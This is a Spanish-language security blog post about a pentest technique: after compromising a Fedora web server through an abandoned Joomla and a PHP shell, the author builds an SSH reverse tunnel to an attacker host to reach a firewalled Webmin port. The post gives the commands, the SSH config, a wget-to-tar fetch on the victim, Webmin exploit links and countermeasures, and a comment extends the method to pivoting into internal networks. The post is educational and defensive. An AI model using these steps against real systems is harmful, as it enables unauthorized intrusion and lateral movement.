H4CKarandas » Blog Archive » SSH Jutsu I

SSH Jutsu I - Acercamiento de Puerto

Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).

Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podían hacer ataques:

Escenario

Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto
Servidor “protegido” por un FW Checkpoint.

Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.
No tiene ACLs de salida del servidor, are you thinking what I am thinking?

Se ha logrado comprometer el servidor

Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el Netcat conectándonos a nuestra máquina desde la máquina vícitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
Tiene un IP Privada del otro lado, así que podemos suponer que están haciendo el port Forwarding al puerto 443.
Tiene el Webmin habilitado >:) pero bloqueado por el FW :’(

Planteamiento

¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la DMZ y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando cat /etc/passwd pero los hashes de las contraseñas no ya que no disponemos de privilegios de root y hacer el viejo truco con Hydra de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.

¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosísima para la admnistración del servidor pero cuenta con un sin fín de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.

Jutsu

Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del SSH y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:

Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una llave pública de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:
# Creamos el directorio donde guardaremos la configuracion mkdir ~/.ssh # Creamos la llave sin contraseña para que sea mas cómoda de usar ssh-keygen -t dsa # Nos crea dos archivos que son la llave pública y la privada id_dsa id_dsa.pub # Renombramos la pública para poder usarla como autenticación mv id_dsa.pub authorized_keys
Ahora creamos el siguiente archivo config:
Host atacante # La IP o nombre de dominio que estamos usando Hostname atacante.no-ip.org RemoteForward 10000 127.0.0.1:10000 # Puerto que tengamos abierto y con el servicio de SSH corriendo Port 1025 # El usuario que hallamos creado User tunel BatchMode yes Compression yes # La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel IdentityFile /tmp/.ssh/id_dsa CompressionLevel 9 # Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo. StrictHostKeyChecking no PubkeyAuthentication yes UserKnownHostsFile /tmp/.ssh/known_hosts
Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta woof.
# En el lado del atacante woof -p [PuertoAlcanzable] -i [IP] ~/.ssh

# En el lado de la victima cd /tmp wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf - cd .ssh chmod 0600 * ssh-agent bash ssh-add ssh -fNF config atacante
Recuerda que si estas detrás de un dispositivo que haga NAT debes hacer reenvío de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina víctima y que el URL que le ingresaremos en el wget no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos cableacces estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.

Y si todo sale bien nos devolverá la línea de comando y veremos un proceso parecido al este:
ps ax | grep -i ssh 28659 ? Ss 0:30 ssh -fNF config atacante
Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:
sudo netstat -ptuna | grep -i listen tcp 0 0 127.0.0.1:10000 0.0.0.0:* LISTEN -
Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: https://localhost:10000.

Nos vamos a la siguiente página y descargamos el exploit:

http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en Perl
http://www.milw0rm.com/exploits/1997 en PHP

Contramedidas

No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina así la administración del FW queda en tus manos y no dependes de un tercero que no sabes que políticas maneja. APF es mi recomendación.
En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el WSUS para Haselfroch.
Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por túneles de SSH.
Mantén un procedimiento para verificar la integridad de tus servidores como Tripwire.
Mantén una política de contraseñas complejas en tus usuarios, así, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.
Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como GFI Languard y Nessus.

Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.

Adrián Puente Z.

Blogged with the Flock Browser

Tags: Seguridad, firewall, webmin, Secure Shell, SSH, Apache

One Response to “SSH Jutsu I - Acercamiento de Puerto”

Ayer ya en medio del sueño me vino la solución mas directa: “¿Porque no subes el exploit al servidor y lo ejecutas localhost?” Duh! ok si, pero bueno la técnica funciona igual para alcanzar el puerto vulnerable de otro servidor dentro de la DMZ al cambiar la línea:

RemoteForward 10000 [IPServidor]:[Puerto]

Funciona perfecto con el puerto de Remote Desktop (3389) y VNC (5900) y es común que los servidores de la DMZ alcancen los equipos dentro de la red interna, así que, en algunos casos, con tener una sola cuenta dentro de una máquina de la DMZ se puede llegar a la red entera.

Adrián Puente Z.

Ch0ks said this on Junio 6th, 2008 at 9:36

HACKarandas

SSH Jutsu I - Acercamiento de Puerto

One Response to “SSH Jutsu I - Acercamiento de Puerto”

About This Post

Navigate